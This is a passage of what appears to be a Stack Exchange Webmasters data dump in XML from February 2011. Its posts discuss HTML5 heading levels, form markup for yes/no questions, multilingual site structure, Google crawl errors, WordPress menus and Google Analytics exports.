text...&lt;/p&gt;&#xD;&#xA;      &lt;/article&gt;&#xD;&#xA;      &#xD;&#xA;      &lt;article&gt;&#xD;&#xA;        &lt;header&gt;&#xD;&#xA;          &lt;h2&gt;Article Title&lt;/h2&gt;&#xD;&#xA;          &lt;time datetime=&quot;2011-01-30&quot;&gt;The Day Before Yesterday&lt;/time&gt;&#xD;&#xA;        &lt;/header&gt;&#xD;&#xA;        &lt;p&gt;Article text...&lt;/p&gt;&#xD;&#xA;      &lt;/article&gt;&#xD;&#xA;    &lt;/section&gt;" />
  <row Id="18607" PostHistoryTypeId="1" PostId="8577" RevisionGUID="400f7d29-6e91-4a80-bbfe-36f69d7aef41" CreationDate="2011-02-01T20:17:26.137" UserId="5083" Text="HTML5 Semantics - H1 or H2 for ARTICLE titles in a SECTION" />
  <row Id="18608" PostHistoryTypeId="3" PostId="8577" RevisionGUID="400f7d29-6e91-4a80-bbfe-36f69d7aef41" CreationDate="2011-02-01T20:17:26.137" UserId="5083" Text="&lt;html5&gt;&lt;semantic-web&gt;" />
  <row Id="18609" PostHistoryTypeId="2" PostId="8578" RevisionGUID="0f97c76c-5f10-4828-b117-4acee16e67b9" CreationDate="2011-02-01T21:31:19.050" UserId="1847" Text="I frequently receive mock-ups of HTML forms with the following prototype:&#xD;&#xA;&#xD;&#xA;Some long winded yes or no question? &amp;nbsp; (o) Yes &amp;nbsp; ( ) No&#xD;&#xA;&#xD;&#xA;The `(o)` and `( )` in this prototype represent radio buttons. My personal view is that if the question has only a true or false value then it should be a check box. That said, I have seen this sort of &quot;layout&quot; from almost every designer I've ever worked with.&#xD;&#xA;&#xD;&#xA;If I were not to question their decision, or question the client's decision, I'd probably mark it up like this:&#xD;&#xA;&#xD;&#xA;    &lt;p class=&quot;pseudo_label&quot;&gt;Some long winded yes or no question?&lt;/p&gt;&#xD;&#xA;    &lt;input type=&quot;radio&quot; name=&quot;the_question&quot; id=&quot;the_question_yes&quot; value=&quot;1&quot;&gt;&#xD;&#xA;    &lt;label for=&quot;the_question_yes&quot; class=&quot;after_radio&quot;&gt;Yes&lt;/label&gt;&#xD;&#xA;    &lt;input type=&quot;radio&quot; name=&quot;the_question&quot; id=&quot;the_question_no&quot; value=&quot;0&quot;&gt;&#xD;&#xA;    &lt;label for=&quot;the_question_no&quot; class=&quot;after_radio&quot;&gt;No&lt;/label&gt;&#xD;&#xA;&#xD;&#xA;I really don't want to do that. I want to push back and convince them that this should really be a check box and not two radio buttons. But my question is, if I can't convince them &amp;ndash; you're welcome to help me try &amp;ndash; how should I code that original design requirement such that it is semantic and at least understandable for screen reader users?&#xD;&#xA;&#xD;&#xA;If I were able to convince my tormentors to change their minds, I would likely code it in the following fashion:&#xD;&#xA;&#xD;&#xA;    &lt;label for=&quot;the_question&quot;&gt;Some long winded yes or no question?&lt;/label&gt;&#xD;&#xA;    &lt;input type=&quot;checkbox&quot; name=&quot;the_question&quot; id=&quot;the_question&quot; value=&quot;1&quot;&gt;&#xD;&#xA;&#xD;&#xA;What do you think about this issue? Should I push back? Possibly more importantly is either way semantically correct?" />
  <row Id="18610" PostHistoryTypeId="1" PostId="8578" RevisionGUID="0f97c76c-5f10-4828-b117-4acee16e67b9" CreationDate="2011-02-01T21:31:19.050" UserId="1847" Text="Semantic Form Markup for Yes or No Questions - Or Should I Tell my Designers to Bugger Off?" />
  <row Id="18611" PostHistoryTypeId="3" PostId="8578" RevisionGUID="0f97c76c-5f10-4828-b117-4acee16e67b9" CreationDate="2011-02-01T21:31:19.050" UserId="1847" Text="&lt;html&gt;&lt;semantic-web&gt;&lt;markup&gt;" />
  <row Id="18612" PostHistoryTypeId="2" PostId="8579" RevisionGUID="2fec42f4-8013-4945-bb4d-06540d276b76" CreationDate="2011-02-01T22:20:37.357" UserDisplayName="user5087" Text="I sorted out quite easily. Just create an image with play button middle and make the surround transparent and then I put this image on top of the youtube thumbnail image. it worked, but video image gets realigned, but it does not look bad though.&#xD;&#xA;&#xD;&#xA;    &lt;a class=&quot;fancybox&quot; href=&quot;#bizgenevideo&quot;&gt;&#xD;&#xA;    &lt;img src=&quot;/wp-content/themes/mytheme/images/play-button.png&quot; style=&quot;background: url(http://img.youtube.com/vi/&lt;?php echo $youtubeid ; ?&gt;/0.jpg) &quot; width=&quot;180&quot; height=&quot;148&quot;/&gt;&#xD;&#xA;&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18613" PostHistoryTypeId="2" PostId="8580" RevisionGUID="c4898055-bb60-4305-affe-29f8b1ad7663" CreationDate="2011-02-01T22:23:19.033" UserId="5084" Text="I want to make a website in two languages. I've looked around and settled on the directory option of separating both languages. How do I make it work? &#xD;&#xA;&#xD;&#xA;Let's say I have the following three files for the landing homepage, the English page and the Spanish page:&#xD;&#xA;&#xD;&#xA;    http://www.domain.com/index.html&#xD;&#xA;    http://www.domain.com/en/index.html&#xD;&#xA;    http://www.domain.com/es/index.html&#xD;&#xA;&#xD;&#xA;Let's also say that `/index.html` will be in English, with a link to `/es/index.html`. In turn, `/es/index.html` will have a link to the English version. Would this be back to `/index.html` or to `/en/index.html`. How do I get both English versions (the one at the root and the one in the directory) to actually be the same file in the same directory? &#xD;&#xA;&#xD;&#xA;I'm new to this, so I'm not using any scripts yet. To me, the obvious solution is to duplicate both English versions and have the one at the root point to files under the `/en/` directory, but I'm not a fan of duplication and I've learned that search engines really frown upon that. Anyone point me in the right direction?" />
  <row Id="18614" PostHistoryTypeId="1" PostId="8580" RevisionGUID="c4898055-bb60-4305-affe-29f8b1ad7663" CreationDate="2011-02-01T22:23:19.033" UserId="5084" Text="How do you set up the directory structure for a multilingual site without duplicating content?" />
  <row Id="18615" PostHistoryTypeId="3" PostId="8580" RevisionGUID="c4898055-bb60-4305-affe-29f8b1ad7663" CreationDate="2011-02-01T22:23:19.033" UserId="5084" Text="&lt;multilingual&gt;" />
  <row Id="18616" PostHistoryTypeId="2" PostId="8581" RevisionGUID="c94e191a-4201-491b-9de5-86589c7ecce7" CreationDate="2011-02-01T22:27:54.893" UserDisplayName="user5088" Text="Kodingen.com might fit your needs. It offers collaboration space, messaging, etc. It's for web app development, but you could probably use it as a source code repository for offline apps too." />
  <row Id="18617" PostHistoryTypeId="25" PostId="8571" RevisionGUID="c8984838-bbc2-4621-9440-9fdeb1222522" CreationDate="2011-02-01T23:16:21.850" Comment="http://twitter.com/#!/StackWebmasters/status/32578027909021696" />
  <row Id="18618" PostHistoryTypeId="2" PostId="8582" RevisionGUID="07df023f-b8ec-4cab-9f70-eb5ee8f9335e" CreationDate="2011-02-01T23:29:45.973" UserId="767" Text="I disagree with both of the approaches. &#xD;&#xA;&#xD;&#xA;Mostly, if the &quot;long winded question&quot; really does have two answers then &quot;Yes&quot; and &quot;No&quot; are poor choices to offer. The options should be short phrases that state the decision being made.&#xD;&#xA;&#xD;&#xA;An example. Instead of this:&#xD;&#xA;&#xD;&#xA;&gt; Do you want to book conference accomodation now as a part of your ticket?  &#xD;&#xA;&gt; ( ) Yes  &#xD;&#xA;&gt; ( ) No&#xD;&#xA;&#xD;&#xA;do this&#xD;&#xA;&#xD;&#xA;&gt; Do you want to book conference accomodation now as a part of your ticket?  &#xD;&#xA;&gt; ( ) I do want to book accomodation  &#xD;&#xA;&gt; ( ) I will arrange my own accomodation&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18619" PostHistoryTypeId="2" PostId="8583" RevisionGUID="fbb99e95-0c42-4e0c-b91e-326105c03682" CreationDate="2011-02-01T23:31:10.803" UserId="5089" Text="I have a domain that has &quot;fallen off a cliff&quot; for searches in Google. Searches that used to be in position 1-4 are now gone from page 1. The same search in Bing shows the typical position expected (top 5 results).&#xD;&#xA;&#xD;&#xA;In reviewing Google Webmaster Tools, I am seeing two problems:&#xD;&#xA;1. The Sitemap is reporting two errors:&#xD;&#xA;General HTTP error: HTTP 403 error (Forbidden)&#xD;&#xA;URLs not accessible&#xD;&#xA;&#xD;&#xA;However, the URL they provide as &quot;no accessible&quot; is accessible. I can click the link Google provides and it works fine.&#xD;&#xA;&#xD;&#xA;2. There are 6,000 crawl errors of type 403. Again, most of these pages that have 403 are accessible in my browser (tried various browsers as well). About half are from January, the other half from November.&#xD;&#xA;&#xD;&#xA;1. There are no IP-specific firewall rules on ports 80 and 443 that could block the goolgebot&#xD;&#xA;2. Using the user agent switcher add-on for FF I confirmed that the page loads when the user agent is the googlebot&#xD;&#xA;3. I an confirm that most of the pages reported as 403 are accessible.&#xD;&#xA;4. A search of just &quot;site:thedomain.com&quot; does confirm there are over 9,000 in the index. But most searches don't return the site.&#xD;&#xA;&#xD;&#xA;I believe the 403 issues are the cause of the fall in search rankings, but I can't seem to find any information online with ideas about how to address this.&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;jpe" />
  <row Id="18620" PostHistoryTypeId="1" PostId="8583" RevisionGUID="fbb99e95-0c42-4e0c-b91e-326105c03682" CreationDate="2011-02-01T23:31:10.803" UserId="5089" Text="Fix 403 errors in Google Webmaster Tools" />
  <row Id="18621" PostHistoryTypeId="3" PostId="8583" RevisionGUID="fbb99e95-0c42-4e0c-b91e-326105c03682" CreationDate="2011-02-01T23:31:10.803" UserId="5089" Text="&lt;seo&gt;&lt;google&gt;&lt;tools&gt;" />
  <row Id="18622" PostHistoryTypeId="2" PostId="8584" RevisionGUID="96af3dd2-28cc-44fd-9912-a491232ab319" CreationDate="2011-02-02T00:55:13.900" UserId="5090" Text="I have a Wordpress blog. On the same domain, I have some other stuff hosted that isn't part of my WP install.&#xD;&#xA;&#xD;&#xA;I want to link to those other places on my domain from the top menu bar (nav bar) on my blog. How can I do that?" />
  <row Id="18623" PostHistoryTypeId="1" PostId="8584" RevisionGUID="96af3dd2-28cc-44fd-9912-a491232ab319" CreationDate="2011-02-02T00:55:13.900" UserId="5090" Text="Put a link on the nav bar in Wordpress" />
  <row Id="18624" PostHistoryTypeId="3" PostId="8584" RevisionGUID="96af3dd2-28cc-44fd-9912-a491232ab319" CreationDate="2011-02-02T00:55:13.900" UserId="5090" Text="&lt;wordpress&gt;&lt;links&gt;&lt;navigation&gt;" />
  <row Id="18625" PostHistoryTypeId="5" PostId="8584" RevisionGUID="397b0aaf-420a-480b-962b-c61b397f1a42" CreationDate="2011-02-02T01:44:43.280" UserId="5090" Comment="added 1202 characters in body" Text="I have a Wordpress blog. On the same domain, I have some other stuff hosted that isn't part of my WP install.&#xD;&#xA;&#xD;&#xA;I want to link to those other places on my domain from the top menu bar (nav bar) on my blog. How can I do that?&#xD;&#xA;&#xD;&#xA;The theme is Lightword, relevant header.php code follows:&#xD;&#xA;    &#xD;&#xA;    &lt;body &lt;?php body_class(); ?&gt;&gt;&#xD;&#xA;    &lt;div id=&quot;wrapper&quot;&gt;&#xD;&#xA;    &lt;?php lightword_header_image(); ?&gt;&#xD;&#xA;    &lt;div id=&quot;header&quot;&gt;&#xD;&#xA;    &lt;?php lightword_rss_feed(); ?&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;div id=&quot;top_bar&quot;&gt;&#xD;&#xA;    &lt;div class=&quot;center_menu&quot;&gt;&#xD;&#xA;    &lt;ul id=&quot;front_menu&quot; &lt;?php global $lw_remove_searchbox, $lw_use_wp_menus; $lw_menu_width = &quot;&quot;; if($lw_remove_searchbox == &quot;true&quot;) $lw_menu_width = &quot; class=\&quot;expand\&quot; &quot;; echo $lw_menu_width; ?&gt;&gt;&#xD;&#xA;    &lt;?php echo lightword_homebtn(__('Home','lightword')); ?&gt;&#xD;&#xA;    &lt;?php&#xD;&#xA;    if ( function_exists('wp_nav_menu') &amp;&amp; $lw_use_wp_menus != &quot;true&quot;) {&#xD;&#xA;    $lightword_menu = wp_nav_menu( array( 'menu' =&gt; 'lightword_top_menu', 'echo' =&gt; false, 'menu_id' =&gt; 'front_menu', 'container' =&gt; '', 'theme_location' =&gt; 'lightword_top_menu', 'link_before' =&gt; '&lt;span&gt;', 'link_after' =&gt; '&lt;/span&gt;' ) );&#xD;&#xA;    $lightword_menu = preg_replace( array( '/^&lt;ul id=&quot;front_menu&quot; class=&quot;menu&quot;&gt;/', '/\n&lt;\/ul&gt;$/' ), '', $lightword_menu);&#xD;&#xA;    echo $lightword_menu;&#xD;&#xA;    }else{&#xD;&#xA;    echo lightword_wp_list_pages();&#xD;&#xA;    }&#xD;&#xA;    ?&gt;&#xD;&#xA;    &lt;/ul&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;?php echo lightword_searchbox(); ?&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;div id=&quot;content&quot;&gt;" />
  <row Id="18626" PostHistoryTypeId="2" PostId="8585" RevisionGUID="4f575cff-8008-46a1-a082-ebbb3c23853d" CreationDate="2011-02-02T01:48:02.010" UserId="5064" Text="I am currently in the process of redesigning a successful business website.  First I will be moving the site to a new web host.  Once it is up and running I will begin porting the site into Joomla.&#xD;&#xA;&#xD;&#xA;Are their any considerations that I need to take into account to keep our rankings where they are?  My goal is to also improve our rank as quickly as possible." />
  <row Id="18627" PostHistoryTypeId="1" PostId="8585" RevisionGUID="4f575cff-8008-46a1-a082-ebbb3c23853d" CreationDate="2011-02-02T01:48:02.010" UserId="5064" Text="Moving and redesigning a website." />
  <row Id="18628" PostHistoryTypeId="3" PostId="8585" RevisionGUID="4f575cff-8008-46a1-a082-ebbb3c23853d" CreationDate="2011-02-02T01:48:02.010" UserId="5064" Text="&lt;seo&gt;&lt;cms&gt;&lt;pagerank&gt;" />
  <row Id="18629" PostHistoryTypeId="25" PostId="8584" RevisionGUID="3a18e472-4dbd-45f4-88db-aecc3dcda3b0" CreationDate="2011-02-02T02:16:21.970" Comment="http://twitter.com/#!/StackWebmasters/status/32623325800833024" />
  <row Id="18630" PostHistoryTypeId="12" PostId="8584" RevisionGUID="889590ec-a95d-4288-b1f6-bbd64a99888a" CreationDate="2011-02-02T03:02:52.160" UserId="5090" Text="[{&quot;Id&quot;:5090,&quot;DisplayName&quot;:&quot;Rafe Kettler&quot;}]" />
  <row Id="18631" PostHistoryTypeId="13" PostId="8584" RevisionGUID="d0dfb397-a8b8-4194-ba8f-61ac0bf7d5e0" CreationDate="2011-02-02T03:03:08.553" UserId="5090" Text="[{&quot;Id&quot;:5090,&quot;DisplayName&quot;:&quot;Rafe Kettler&quot;}]" />
  <row Id="18632" PostHistoryTypeId="2" PostId="8586" RevisionGUID="fcec8c7a-f8f5-4c6b-844d-25e1368cff6f" CreationDate="2011-02-02T03:08:31.287" UserId="2059" Text="In Google Analytics, I've been following several tutorials to export a list of keywords, but something is going wrong.  This is what I try:&#xD;&#xA;&#xD;&#xA;1.) click traffic sources&#xD;&#xA;2.) click keywords&#xD;&#xA;3.) Click Export&#xD;&#xA;4.) Click CSV&#xD;&#xA;&#xD;&#xA;The resulting file shows two columns.  Column A is dates.  Column B is visits.  I am trying to export a file so that Column A is keywords and Column B is visits." />
  <row Id="18633" PostHistoryTypeId="1" PostId="8586" RevisionGUID="fcec8c7a-f8f5-4c6b-844d-25e1368cff6f" CreationDate="2011-02-02T03:08:31.287" UserId="2059" Text="How can I export a keyword list from Analytics?" />
  <row Id="18634" PostHistoryTypeId="3" PostId="8586" RevisionGUID="fcec8c7a-f8f5-4c6b-844d-25e1368cff6f" CreationDate="2011-02-02T03:08:31.287" UserId="2059" Text="&lt;google&gt;&lt;google-analytics&gt;&lt;analytics&gt;&lt;keywords&gt;" />
  <row Id="18635" PostHistoryTypeId="2" PostId="8587" RevisionGUID="2df84af0-c601-4780-8757-98cf315d7c2c" CreationDate="2011-02-02T03:09:49.237" UserId="4793" Text="While the article titles of your page are important, generally the top level heading of the page defines the content of the page. Sometimes it's the name of the article, and sometimes, as you show is the title of a listing of articles.&#xD;&#xA;&#xD;&#xA;    &lt;h1&gt;My Very Interesting Articles&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA;This heading defines the whole page as 'interesting articles'. Then each article is listed but have a lesser heading level." />
  <row Id="18636" PostHistoryTypeId="2" PostId="8588" RevisionGUID="b7442434-63a5-4be9-945c-e01be3face97" CreationDate="2011-02-02T03:11:52.120" UserId="4945" Text="The official w3schools answer to the use of heading tags on a page is as follows:  H1 headings should be used as main headings, followed by H2 headings, then the less important H3 headings, and so on.&#xD;&#xA;" />
  <row Id="18637" PostHistoryTypeId="2" PostId="8589" RevisionGUID="778e9a6f-b3cb-4853-b3ec-d9ba1a3be043" CreationDate="2011-02-02T03:30:24.520" UserId="529" Text="Scroll down a little. The keywords are below the dates.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/2CzG6.png" />
  <row Id="18638" PostHistoryTypeId="2" PostId="8590" RevisionGUID="6164d888-bcdd-4084-9db7-96553b101bc7" CreationDate="2011-02-02T04:50:10.740" UserId="529" Text="Pilgrim isn't alone in contending this.&#xD;&#xA;&#xD;&#xA;According to Jeremy Keith's [HTML5 for Web Designers][1], you can use multiple `&lt;h1&gt;`s in a document without ruining the document summary, as long as they are nested within discrete semantic sectional tags.&#xD;&#xA;&#xD;&#xA;Quoting directly from the eBook (which I purchased from iBooks)&#xD;&#xA;&#xD;&#xA;&gt; So far, the new sectioning content&#xD;&#xA;&gt; isn’t giving us much more than what we&#xD;&#xA;&gt; could do with previous versions of&#xD;&#xA;&gt; HTML. Here’s the kicker: In HTML5,&#xD;&#xA;&gt; each piece of sectioning content has&#xD;&#xA;&gt; its own self-contained outline. That&#xD;&#xA;&gt; means you don’t have to keep track of&#xD;&#xA;&gt; what heading level you should be&#xD;&#xA;&gt; using—you can just start from h1 each&#xD;&#xA;&gt; time:&#xD;&#xA;&#xD;&#xA;    &lt;h1&gt;An Event Apart&lt;/h1&gt; &#xD;&#xA;        &lt;section&gt;&#xD;&#xA;            &lt;header&gt;&#xD;&#xA;                &lt;h1&gt;Cities&lt;/h1&gt;&#xD;&#xA;            &lt;/header&gt;&#xD;&#xA;             &lt;p&gt;Join us in these cities in 2010.&lt;/p&gt; &#xD;&#xA;            &lt;section&gt;&#xD;&#xA;                &lt;header&gt;&#xD;&#xA;                    &lt;h1&gt;Seattle&lt;/h1&gt;&#xD;&#xA;                &lt;/header&gt;&#xD;&#xA;                &lt;p&gt;Follow the yellow brick road.&lt;/p&gt; &#xD;&#xA;           &lt;/section&gt;&#xD;&#xA;            &lt;section&gt;&#xD;&#xA;                &lt;header&gt;&#xD;&#xA;                    &lt;h1&gt;Boston&lt;/h1&gt;&#xD;&#xA;                &lt;/header&gt;&#xD;&#xA;                &lt;p&gt;That’s Beantown to its friends.&lt;/p&gt; &#xD;&#xA;            &lt;/section&gt; &#xD;&#xA;            &lt;section&gt;&#xD;&#xA;                 &lt;header&gt;&#xD;&#xA;                       &lt;h1&gt;Minneapolis&lt;/h1&gt;&#xD;&#xA;                 &lt;/header&gt;&#xD;&#xA;                 &lt;p&gt;It's so &lt;em&gt;nice&lt;/em&gt;.&lt;/p&gt; &#xD;&#xA;             &lt;/section&gt;&#xD;&#xA;         &lt;/section&gt; &#xD;&#xA;         &lt;small&gt;Accommodation not provided.&lt;/small&gt;&#xD;&#xA;&#xD;&#xA;(Sample code also from the book, page 73)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.com/s?ie=UTF8&amp;keywords=HTML5%20for%20Web%20Designers&amp;rh=n:283155,k:HTML5%20for%20Web%20Designers&amp;page=1" />
  <row Id="18639" PostHistoryTypeId="4" PostId="8586" RevisionGUID="1f31124d-2ac6-4335-b9b5-bc0317fbd6ed" CreationDate="2011-02-02T05:04:57.683" UserId="529" Comment="Clarified the title to be more specific." Text="How can I export a keyword list from Google Analytics?" />
  <row Id="18640" PostHistoryTypeId="24" PostId="8586" RevisionGUID="80c1c56b-7cfb-494a-8280-c08da93a946f" CreationDate="2011-02-02T05:04:57.683" Comment="Proposed by 529 approved by 1253 edit id of 3" />
  <row Id="18644" PostHistoryTypeId="2" PostId="8592" RevisionGUID="6d03d818-9246-45c9-a697-da0833afb0e9" CreationDate="2011-02-02T05:14:18.933" UserId="1757" Text="I would tend to agree with [Mark Pilgrim](http://en.wikipedia.org/wiki/Mark_Pilgrim)'s interpretation. If you're enclosing your article inside of an `article` element, then you can start over again with an `h1` heading for the article.&#xD;&#xA;&#xD;&#xA;In the HTML5 spec, `article`s are supposed to be treated as an **independent, self-contained** part of the page. You should be able to transplant the `article` element _as is_ into another page without re-formatting the headings.&#xD;&#xA;&#xD;&#xA;If article headings had to be a continuation of the document heading hierarchy, then when you drop the `article` directly under a `body` tag, you'd need to go to `h1`, but if you dropped it under nested sections, you'd have to change it to `h3`/`h4`/`h5`/etc., depending on where you place it.&#xD;&#xA;&#xD;&#xA;In fact, any time you create a new `section` or `article`, you should go back to `h1`, as the following are identical:&#xD;&#xA;&#xD;&#xA;    &lt;article&gt;&#xD;&#xA;      &lt;h1&gt;Meta Data&lt;/h1&gt;&#xD;&#xA;        &lt;h2&gt;Data Warehousing&lt;/h2&gt;&#xD;&#xA;        &lt;h2&gt;On the Web&lt;/h2&gt;&#xD;&#xA;          &lt;h3&gt;Dublin Core&lt;/h3&gt;&#xD;&#xA;          &lt;h3&gt;XFN&lt;/h3&gt;&#xD;&#xA;          &lt;h3&gt;Microformats&lt;/h3&gt;&#xD;&#xA;          &lt;h3&gt;RDFa&lt;/h3&gt;&#xD;&#xA;    &lt;/article&gt;&#xD;&#xA;&#xD;&#xA;and:&#xD;&#xA;&#xD;&#xA;    &lt;article&gt;&#xD;&#xA;      &lt;h1&gt;Meta Data&lt;/h1&gt;&#xD;&#xA;      &lt;section&gt;&#xD;&#xA;        &lt;h1&gt;Data Warehousing&lt;/h1&gt;&#xD;&#xA;      &lt;/section&gt;&#xD;&#xA;      &lt;section&gt;&#xD;&#xA;        &lt;h1&gt;On the Web&lt;/h1&gt;&#xD;&#xA;        &lt;section&gt;&#xD;&#xA;          &lt;h1&gt;Dublin Core&lt;/h1&gt;&#xD;&#xA;        &lt;/section&gt;&#xD;&#xA;        &lt;section&gt;&#xD;&#xA;          &lt;h1&gt;XFN&lt;/h1&gt;&#xD;&#xA;        &lt;/section&gt;&#xD;&#xA;        &lt;section&gt;&#xD;&#xA;          &lt;h1&gt;Microformats&lt;/h1&gt;&#xD;&#xA;        &lt;/section&gt;&#xD;&#xA;        &lt;section&gt;&#xD;&#xA;          &lt;h1&gt;RDFa&lt;/h1&gt;&#xD;&#xA;        &lt;/section&gt;&#xD;&#xA;      &lt;/section&gt;&#xD;&#xA;    &lt;/article&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As a side note, if your header is just a heading element (e.g. `h1`) and nothing else, then you don't need to wrap it in a `header` element." />
  <row Id="18645" PostHistoryTypeId="25" PostId="8586" RevisionGUID="361b88e1-65d2-4174-9d13-bd10d0c64875" CreationDate="2011-02-02T05:16:22.340" Comment="http://twitter.com/#!/StackWebmasters/status/32668625819144192" />
  <row Id="18646" PostHistoryTypeId="2" PostId="8593" RevisionGUID="9e09e373-b7d8-4cd0-bfd5-e3d274229e4f" CreationDate="2011-02-02T03:54:16.030" UserDisplayName="Neil" Text="I have created a new domain and uploaded index.html to public directory. but it isnt displaying and cpanel default page is displaying instead. how can I change the same??" />
  <row Id="18647" PostHistoryTypeId="1" PostId="8593" RevisionGUID="9e09e373-b7d8-4cd0-bfd5-e3d274229e4f" CreationDate="2011-02-02T03:54:16.030" UserDisplayName="Neil" Text="how can I change cpanel default page to index.php / index.html" />
  <row Id="18648" PostHistoryTypeId="3" PostId="8593" RevisionGUID="9e09e373-b7d8-4cd0-bfd5-e3d274229e4f" CreationDate="2011-02-02T03:54:16.030" UserDisplayName="Neil" Text="&lt;apache&gt;&lt;cpanel&gt;&lt;web-hosting&gt;" />
  <row Id="18649" PostHistoryTypeId="17" PostId="8593" RevisionGUID="bfa22953-e854-413e-82b1-368d623af890" CreationDate="2011-02-02T05:41:11.147" UserId="-1" Comment="from http://superuser.com/questions/240687/how-can-i-change-cpanel-default-page-to-index-php-index-html" Text="" />
  <row Id="18651" PostHistoryTypeId="5" PostId="8580" RevisionGUID="4ff2c676-3a76-432c-90f2-fbdf1d228da6" CreationDate="2011-02-02T06:02:41.333" UserId="5084" Comment="Added missing interrogation mark." Text="I want to make a website in two languages. I've looked around and settled on the directory option of separating both languages. How do I make it work? &#xD;&#xA;&#xD;&#xA;Let's say I have the following three files for the landing homepage, the English page and the Spanish page:&#xD;&#xA;&#xD;&#xA;    http://www.domain.com/index.html&#xD;&#xA;    http://www.domain.com/en/index.html&#xD;&#xA;    http://www.domain.com/es/index.html&#xD;&#xA;&#xD;&#xA;Let's also say that `/index.html` will be in English, with a link to `/es/index.html`. In turn, `/es/index.html` will have a link to the English version. Would this be back to `/index.html` or to `/en/index.html`? How do I get both English versions (the one at the root and the one in the directory) to actually be the same file in the same directory? &#xD;&#xA;&#xD;&#xA;I'm new to this, so I'm not using any scripts yet. To me, the obvious solution is to duplicate both English versions and have the one at the root point to files under the `/en/` directory, but I'm not a fan of duplication and I've learned that search engines really frown upon that. Anyone point me in the right direction?" />
  <row Id="18652" PostHistoryTypeId="2" PostId="8595" RevisionGUID="09685605-c4ae-4d65-bd95-3cc19881cb91" CreationDate="2011-02-02T06:05:10.010" UserId="5056" Text="The designers have a specific set of skills that many programmers do not have.  Likewise, most programmers have a specific set of skills that many designers do not.  Sometimes the skills cross over, but the true experts specialize.&#xD;&#xA;&#xD;&#xA;Some programmers have a background in Computer Science.  They learn things that most laypersons will never even contemplate.  These skills help these programmers solve very complicated problems.&#xD;&#xA;&#xD;&#xA;Some designers have formal education in Graphics Design and Usability.  They study human behavior.  They study the differences between different user interfaces and they apply their specialized knowledge in the real world.&#xD;&#xA;&#xD;&#xA;Although you may disagree, do what the designers ask.  I work with designers who build $15,000 websites for attorneys, and every decision they make is intended to make the application as clear and intuitive as possible.&#xD;&#xA;&#xD;&#xA;Trust your designers to do their job and produce money-making designs.  In turn, they'll trust you to produce a high quality application that brings their powerful vision to life." />
  <row Id="18653" PostHistoryTypeId="5" PostId="8544" RevisionGUID="85101000-65ed-4ebb-bee0-623721d8b6b0" CreationDate="2011-02-02T06:14:26.157" UserId="5062" Comment="added 61 characters in body" Text="I'm trying to locate an HTML template that shows all the elements in HTML, so that the basic aspects of typography, colour schemes, margins and so on can be applied to it using CSS. Those styles can then be merged with styles that handle the layout for a given project, and then tweaked a little for any given problem.&#xD;&#xA;&#xD;&#xA;I realize I could do this myself but thought that someone else may have already done this or know where to find such a template.&#xD;&#xA;&#xD;&#xA;Thanks for your help." />
  <row Id="18654" PostHistoryTypeId="17" PostId="8597" RevisionGUID="67739312-f9c7-484f-84dd-e976953f046f" CreationDate="2011-02-02T07:02:59.533" UserId="-1" Comment="from http://stackoverflow.com/questions/4868663/google-analytics-goal-funnel-visualization-issues/4868677#4868677" Text="" />
  <row Id="18655" PostHistoryTypeId="2" PostId="8597" RevisionGUID="8d81a051-4684-43e4-add6-b51f371b1d4a" CreationDate="2011-02-01T22:27:10.233" UserDisplayName="Dan Grossman" Text="`/` is the root/index/home page of your site.&#xD;&#xA;&#xD;&#xA;What that means is that 57 people that entered your cart went back to your homepage and didn't complete the funnel.&#xD;&#xA;&#xD;&#xA;The list to the right of the red arrow are people leaving the 'Cart' step of your funnel without moving to the next step." />
  <row Id="18656" PostHistoryTypeId="2" PostId="8596" RevisionGUID="a590eb03-dfde-48fe-9ad9-04cb195403bb" CreationDate="2011-02-01T22:24:22.190" UserDisplayName="Lauren" Text="This is the goal funnel for checkout. Does anyone have any idea where the &quot;/&quot; is coming from? The cart page is at site: game on glove dot com (I don't want this stackoverflow page being indexed in google particularly well).&#xD;&#xA;&#xD;&#xA;![google analytics goal funnel][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/74OiL.jpg&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Go to the site, click on the order button, make your selection, and click the button to enter the cart (it resolves to /Cart and /Shop-Cart). I believe I used the regular expression matching to match &quot;cart&quot;.&#xD;&#xA;&#xD;&#xA;So why the &quot;/&quot; (I don't know what is causing the home page to reload when users are on the Cart page within a Colorbox lightbox where the only way back to home or &quot;/&quot; is to hit the exit button in the top right of the lightbox)?&#xD;&#xA;&#xD;&#xA;Here's my one guess for the former question but it doesn't seem likely:&#xD;&#xA;See the &quot;check out with paypal&quot; button? If you hovered over it, it does default to the home page which is what might be the &quot;/&quot;... but it really redirects the user to the paypal.com page so it shouldn't also load the home page." />
  <row Id="18657" PostHistoryTypeId="1" PostId="8596" RevisionGUID="a590eb03-dfde-48fe-9ad9-04cb195403bb" CreationDate="2011-02-01T22:24:22.190" UserDisplayName="Lauren" Text="Google analytics goal funnel visualization issues" />
  <row Id="18658" PostHistoryTypeId="3" PostId="8596" RevisionGUID="a590eb03-dfde-48fe-9ad9-04cb195403bb" CreationDate="2011-02-01T22:24:22.190" UserDisplayName="Lauren" Text="&lt;google-analytics&gt;" />
  <row Id="18659" PostHistoryTypeId="17" PostId="8596" RevisionGUID="2f35c743-08db-428f-be5c-109e3cb10ee6" CreationDate="2011-02-02T07:02:59.533" UserId="-1" Comment="from http://stackoverflow.com/questions/4868663/google-analytics-goal-funnel-visualization-issues" Text="" />
  <row Id="18660" PostHistoryTypeId="2" PostId="8598" RevisionGUID="70e1dd30-7d66-43d3-adb9-5ef89b06e4a8" CreationDate="2011-02-02T08:06:40.883" UserId="4945" Text="Check the settings on the backend of Wordpress. :)" />
